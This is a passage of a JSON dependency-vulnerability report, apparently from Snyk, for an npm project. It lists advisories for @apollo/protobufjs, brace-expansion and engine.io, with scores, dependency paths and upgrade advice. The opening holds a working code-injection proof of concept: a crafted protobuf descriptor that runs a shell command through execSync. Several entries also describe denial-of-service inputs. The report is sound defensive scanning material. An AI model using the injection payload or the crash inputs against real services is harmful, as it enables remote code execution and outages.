JSON.parse(`{\"nested\":{\"User\":{\"fields\":{\"id\":{\"type\":\"int32\",\"id\":1},\"data\":{\"type\":\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\",\"id\":2}}},\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\":{\"fields\":{\"content\":{\"type\":\"string\",\"id\":1}}}}}`)\r\nconst root = protobuf.Root.fromJSON(maliciousDescriptor);\r\nconst UserType = root.lookupType(\"User\");\r\nconst userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);\r\ntry {\r\n const user = UserType.decode(userBytes);\r\n} catch (e) {}```\n## Remediation\nUpgrade `@apollo/protobufjs` to version 1.2.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956)\n",
"epssDetails": {
"percentile": "0.60901",
"probability": "0.00990",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41242"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-xq3m-2v4x-88gg"
]
},
"packageName": "@apollo/protobufjs",
"proprietary": false,
"creationTime": "2026-04-29T09:15:09.206407Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-16T22:34:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-29T09:15:09.545892Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T15:25:15.343948Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@apollo/protobufjs",
"version": "1.2.7",
"severityWithCritical": "critical"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "brace-expansion",
"version": "1.1.13",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "brace-expansion",
"version": "1.1.13",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "brace-expansion",
"version": "1.1.13",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "brace-expansion",
"version": "1.1.13",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"mv@2.1.1",
"rimraf@2.4.5",
"glob@10.5.0",
"minimatch@3.1.5",
"brace-expansion@1.1.13"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "brace-expansion",
"version": "1.1.13",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-ENGINEIO-17900543",
"title": "Improper Resource Shutdown or Release",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"hibrian827"
],
"semver": {
"vulnerable": [
">=4.1.0 <6.6.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.6.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "engine.io",
"references": [
{
"url": "https://github.com/socketio/socket.io/commit/fc11285e14964c2132d122164bf130c355f60671",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-r635-g3xr-vw7x",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-11T07:52:50.731047Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:06:07.562488Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:06:07.562488Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-11T07:52:50.731047Z"
}
],
"description": "## Overview\n[engine.io](https://github.com/socketio/engine.io) is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server\n\nAffected versions of this package are vulnerable to Improper Resource Shutdown or Release through the polling request handler in `Polling` transport processing. An attacker can consume server-side sockets and related HTTP resources by sending an invalid Engine.IO v4 polling `POST` request with `Content-Type: application/octet-stream` after establishing a polling session. The vulnerable code reports `invalid content` but leaves the HTTP response open, so repeated malformed requests can accumulate unfinished connections. This can prevent legitimate clients from connecting and exhaust available file descriptors or connection slots on the server.\r\n\r\n**Notes**\r\n\r\n- The vulnerable path is limited to Engine.IO protocol v4 polling `POST` requests that present `Content-Type: application/octet-stream`; other polling traffic is not in scope for this issue.\r\n\r\n**Workarounds**\r\n\r\n- Block or reject Engine.IO protocol v4 polling `POST` requests with `Content-Type: application/octet-stream` at a reverse proxy, load balancer, WAF, or application middleware to prevent the malformed request path that can leave HTTP connections open and consume sockets/resources.\r\n- Disable HTTP long-polling and use WebSocket-only transport if your deployment and clients support it to prevent exposure of the vulnerable polling handler.\r\n- Enforce strict request and connection timeouts at the HTTP server, reverse proxy, or load balancer to limit how long malformed polling requests can hold server-side connections open.\r\n- Apply per-IP rate limits and connection limits for Engine.IO endpoints to reduce the ability to repeat the crafted polling requests and exhaust server resources.\r\n- Restrict access to the Socket.IO/Engine.IO endpoint where feasible to limit who can reach the vulnerable polling transport.\n## Remediation\nUpgrade `engine.io` to version 6.6.7 or higher.\n## References\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/fc11285e14964c2132d122164bf130c355f60671)\n- [Maintainer's 